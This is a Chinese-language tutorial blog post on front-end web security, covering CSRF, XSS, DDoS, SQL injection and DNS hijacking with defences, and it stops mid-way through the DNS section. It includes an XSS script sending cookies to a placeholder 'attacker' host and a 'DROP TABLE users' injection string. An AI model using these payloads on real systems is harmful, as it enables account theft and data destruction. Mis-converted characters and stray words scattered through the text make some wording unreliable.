前端階段性總結（三）：web安全

時間 2019-11-06

標籤前端階段性總結 web 安全欄目 HTML 简体版

原文原文鏈接

引言：轉前端一年了，期間工做較忙，也沒時間整理一些知識體系，此係列文章是對前端基礎的一些回顧與總結。本文主要總結一下前端須要關注的web安全。

1、CSRF

1. 概念

CSRF(Cross Site Request Forgery,跨站請求僞造)攻擊是一種依賴web瀏覽器的、被混淆過的代理人攻擊，經過假裝來自受信任用戶的請求來利用受信任的網站，形成我的隱私泄露及財產安全javascript

2. 攻擊原理

step1: 客戶端向網站A發起了通訊請求
step2: 網站A驗證經過，並創建了通訊鏈接，在客戶端保存了A的cookie.
step3: 客戶端在未關閉與A的鏈接的狀況下訪問了網站B.
step4: 網站B含有惡意請求代碼，要求向網站A發起請求.
step5：客戶端根據B發起的請求並攜帶已保存的網站A的cookie訪問網站A.
step6: 網站A驗證cookie並處理了這個請求.

因而，網站B就經過盜用保存在客戶端的cookie，以客戶端的身份來訪問網站A，作一些諸如：發送信息，郵件，盜取帳戶，財產等違法操做。
上面說的是狹義的csrf，其實廣義的csrf是指準確的猜想出你的請求參數，而後構造出一個合法的請求去進行curd，實際上不必定依賴於瀏覽器，但它的前提是要找到xss漏洞。php

3. 如何防範

防範csrf的根本方法是有效辨別請求是否來源於正常的用戶。能夠經過 token 、 referer、驗證碼來判斷：html

1)token

token的原理是：使用存放在cookie或者前端某處的某個值，經過約定的方法加密成一串字符串，做爲參數傳遞給後臺，後臺根據一樣的算法加密，對比2個值是否相等。通常來講是在cookie裏放一個token，因爲同源策略，僞造者沒法獲取cookie裏面的信息，因此即便知道了算法，也構造不出校驗串。前端

在標籤加入token：

<meta content="_csrf" name="csrf-param">
<meta content="6eEHcEur-Q-CoC0eMc3GIRofusFMhD6fYr4Y" name="csrf-token">

在表單加入token:

<input type="hidden" name="csrf_token" value="<? echo $token;?>">

2）referer

經過請求頭中的referer字段判斷請求的來源，但這種方式不太保險，由於referer有可能被僞造。vue

3) 驗證碼

在一些很敏感的curd操做中，能夠作驗證碼校驗。在現有技術下，破解一個驗證碼是有必定難度的，好比12306的地獄級驗證碼。可是考慮到用戶體驗，這種較爲安全的校驗方式須要合理地使用。java

4）其餘預防手段：

儘可能不要在頁面的連接中暴露用戶隱私信息.
儘可能使用post進行表單提交.
避免全站通用的cookie，嚴格設置cookie的域.

如今業界內大多數的防csrf的方案都是token+referer。但token是在cookie沒有被盜取的前提下才有安全性，而referer也並不難僞造，因此，即便作好了csrf，若是網站存在XSS漏洞，被攻擊者盜用了cookie信息，那麼，token+referer的防範手段將形同虛設。

2、XSS

1. 概念：

跨站腳本攻擊（XSS，Cross-site scripting）是最多見和基本的攻擊Web網站的方法。攻擊者能夠在網頁上發佈包含攻擊性代碼的數據，當瀏覽者看到此網頁時，特定的腳本就會以瀏覽者用戶的身份和權限來執行。經過XSS能夠比較容易地修改用戶數據、竊取用戶信息以及形成其它類型的攻擊。linux

2. 攻擊原理:

XSS的本質就是在用戶的瀏覽器執行一段惡意的JS代碼，其攻擊方式大體能夠分爲3類，咱們假設攻擊代碼是爲了盜取咱們的cookie信息：nginx

//攻擊代碼

<script>
window.location='http://attacker/?cookie='+document.cookie;
</script>

而咱們服務器和前端未作XSS防範，直接拿取連接中的參數，顯示到頁面：web

<?php

 echo ‘Hi,’ . $_GET[‘name’];

?>

1）反射型：

反射型是指惡意代碼來自用戶的請求。算法

反射型的xss須要誘使用戶主動點擊攻擊者僞造的連接，發起請求，最終將惡意代碼在瀏覽器運行。

2）存儲型：

存儲型是指惡意代碼來自網站數據庫，攻擊者經過網站的輸入途徑，好比評論，將惡意代碼存入數據庫。而後其餘用戶訪問這個頁面，就會執行這段代碼。從而收到攻擊。

3) 本地和DOM 型

DOM XSS 是存儲型 XSS 和反射型 XSS 的變種。就是將攻擊腳本注入到 DOM 結構裏的攻擊手法，在 DOM XSS 攻擊中，一直到頁面運行了 JavaScript，惡意字符串才被實際的解析。

隨着 WEB 應用愈來愈高級，愈來愈多的 HTML 是在客戶端經過 JavaScript 生成而不是在服務端生成。任什麼時候候不刷新整個頁面，須要更新內容，就必須經過 JavaScript 進行。值得注意的是，AJAX 請求後更新頁面就是這樣的例子。
也就是說，XSS 漏洞不只能夠出如今網站服務端代碼，還可能出如今客戶端 JavaScript 代碼中。結果就是，即便服務端代碼徹底沒問題，在頁面加載完成後，客戶端代碼仍是可能在 DOM 更新中不安全的包含了用戶輸入。一旦發生，客戶端代碼就存與服務端無關的 XSS 漏洞

3. 如何防護：

1）基本思路：

輸入/輸出的轉義編碼、過濾
白名單策略

2）具體手段：

XSS是有不少奇淫技巧的，防範手段也是見仁見智。這裏我只說幾種常見的防範方法：

對 < , ' , " , / , > , & 字符的過濾

function escapeHtml(string) {
    return string
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;')
        .replace(/\//g, '&#x2f')
}

實體化轉義和反轉義

function htmlEncode(html) {
    var sub = document.createElement('div');
    sub.textContent != null ? sub.textContent = html : sub.innerText = html;
    var output = sub.innerHTML;
    sub = null;
    return output;
}

function htmlDecode(text) {
    var sub = document.createElement('div');
    sub.innerHTML = text;
    var output = sub.textContent || sub.innerText;
    sub = null;
    return output;
}

輸入校驗、過濾

輸入的信息通常都須要符合必定的規範，好比說字符類型，字符長度等，能夠在入庫或者提交以前對輸入信息進行校驗和過濾。這裏的方法就太多了，具體業務具體分析

CSP 安全策略

CSP 用來限制瀏覽器 viewing your page 保證其只能使用從可信任的源下載的資源。資源能夠是腳本、樣式表、圖片或是頁面引用的其它類型文件。也就是說，即便攻擊者成功在網站中注入了惡意代碼，CSP 能夠防止其被執行

CSP 能夠用來強制實施下面的規則：

No untrusted sources：外部資源只能從一個明肯定義的可信源集合中加載
No inline resources：不執行行內（inline） JavaScript 和 CSS
No eval：不可使用 JavaScript 函數 eval

如何啓用？

默認狀況下，瀏覽器不強制使用 CSP。爲了給網站開啓 CSP，響應中要帶上額外的 HTTP 頭：Content-Security-Policy。若是瀏覽器支持 CSP，那麼全部帶有這一 HTTP 頭的頁面都會遵照 CSP。

具體的CSP語法可參考：CSP

4. 防範意識很重要：

在現代的前端和後端框架中，通常都會內置對於XSS的過濾功能，好比vue的 {{}} 就對輸出的內容進行了實體轉換。做爲一名開發人員，最重要的是有防範XSS的意識，編碼的過程當中要思考一下這個輸入是否會形成網站安全。

3、DDOS

1. 概念：

DDOS(分佈式拒絕服務)是以經過某種手段，導致網站的某個環節崩潰或者癱瘓，從而使網站沒法正常運行爲目的的一些攻擊手段的總稱。比較常見的就是經過一些「肉雞」無間斷的大量發送請求，使目標服務器超出負荷，從而崩潰癱瘓。

近期比較有影響力的DDOS攻擊事件就是著名的博客做者，前端佈道者-阮一峯老師的博客被ddos攻擊，博客下線了50個小時。

2. 一些防範手段：

1）對惡意請求的攔截：

咱們可使用一些策略，對一些明顯的惡意請求進行攔截：

硬件防火牆：Web 服務器的前面能夠架設硬件防火牆，過濾請求，可是成本較高
本機防火牆：如linux的iptables
web服務器過濾： apache和nginx 都可以過濾一些請求

可是這種過濾的前提是ddos 的攻擊有必定的規律可循，可是通常來講，高級的ddos每每是假裝成一個合法的請求，難以識別。

2）帶寬擴容：

最有效的方法就是，有足夠的帶寬去應對這些ddos請求，可是這樣的成本較高。目前大多數服務器運營商都提供了防ddos的方案，其原理是，平時會有大量的冗餘帶寬待命，遭到攻擊時就將請求分流到冗餘帶寬，使服務器不至於崩潰。

3）CDN：

cdn 能有效的保證請求的穩定性，由於請求並非直接請求服務器，而是如今cdn裏找，找不到再由cdn去緣服務器上找。另外一方面，cdn的服務器不止一臺，能有效的作分流。

4）網站備份：

在遭受攻擊後，若是以前備份了網站，那能夠先使用備份網站，不至於整個業務中止。

ps：發起DDOS也是須要很高成本的，通常來講，普通的網站基本不會有這種待遇。

4、SQL注入

1. 簡介

Sql 注入攻擊是經過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中，再在後臺 Sql 服務器上解析執行進行的攻擊，它目前黑客對數據庫進行攻擊的最經常使用手段之一。

帶來的危害：

猜解後臺數據庫，盜取網站的敏感信息。
繞過認證，列如繞過驗證登陸網站後臺。
注入能夠藉助數據庫的存儲過程進行提權等操做

2. 攻擊原理

假設有個連接請求是這樣的：

www.a.com/query?userId=123

功能是查詢userId爲123的用戶出來，這個請求到咱們服務端最後 sql語句是這樣：

select * from users where userid=123

那若是咱們沒對用戶輸入作校驗，用戶輸入了一個這樣的字符串

123; DROP TABLE users;

那咱們最後執行的 sql 就變成了

select * from users where userid=123; DROP TABLE users;

而後，你就能夠跑路了，由於庫已經被刪了。（手動滑稽）

從上面的例子，咱們能夠看出sql的攻擊原理，其本質就是經過構建特殊的輸入做爲參數傳入Web應用程序，而這些輸入大都是SQL語法裏的一些組合，經過執行SQL語句進而執行攻擊者所要的操做，其主要緣由是程序沒有細緻地過濾用戶輸入的數據，導致非法數據侵入系統。

3. 如何防禦：

最重要的一個原則就是：永遠不要相信外來的輸入！
具體能夠這麼作：

對輸入的數據作校驗，過濾，轉義。
避免動態拼接sql語句。
不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息
應用的異常信息應該給出儘量少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝
採起輔助軟件或網站平臺來檢測SQL，如：jsky，MDCSOFT SCAN等

5、DNS劫持

1. 什麼是DNS劫持？

DNS劫持就是經過劫持了DNS服務器，經過某些手段取得某域名的解析記錄控制權，進而修改此域名的解析結果，致使對該域名的訪問由原IP地址轉入到修改後的指定IP，其結果就是對特定的網址不能訪問或訪問的是假網址，從而實現竊取資料或者破壞原有正常服務的目的。

2. 攻擊原理：

1) DNS解析過程：

step1:客戶機輸入域名(以百度爲例):www.baidu.com ，系統會先檢查本身的本地hosts文件中是否有這個網址映射關係，如有進入step2，若無，則查找本地DNS解析器緩存，有則進入step2，無則進入step3。
step2: 緩存或hosts文件返回IP地址映射關係，並完成域名解析.
step3：查詢本地服務器，若查詢的域名在本地區域資源中（具備權威性）或區域服務器中有該域名緩存（不具權威性），則進入step10，不然進入step4.
step4：本地DNS服務器向13臺根DNS服務器發起請求
step5：根服務器判斷域名(.com)屬於哪臺GTLD服務器管理，並返回GTLD服務器IP
step6：本地DNS服務器向GTLD服務器發起請求.
step7：(.com)GTLD服務器返回域名(www.baidu.com)的主機IP給本地DNS服務器.
step8: 本地DNS服務器像(www.baidu.com)目的主機發送請求.
step9: 目的主機(www.baidu.com)返回主機IP給本地DNS服務器.
step10: 本地DNS服務器返回目的主機IP給客戶機，完成解析.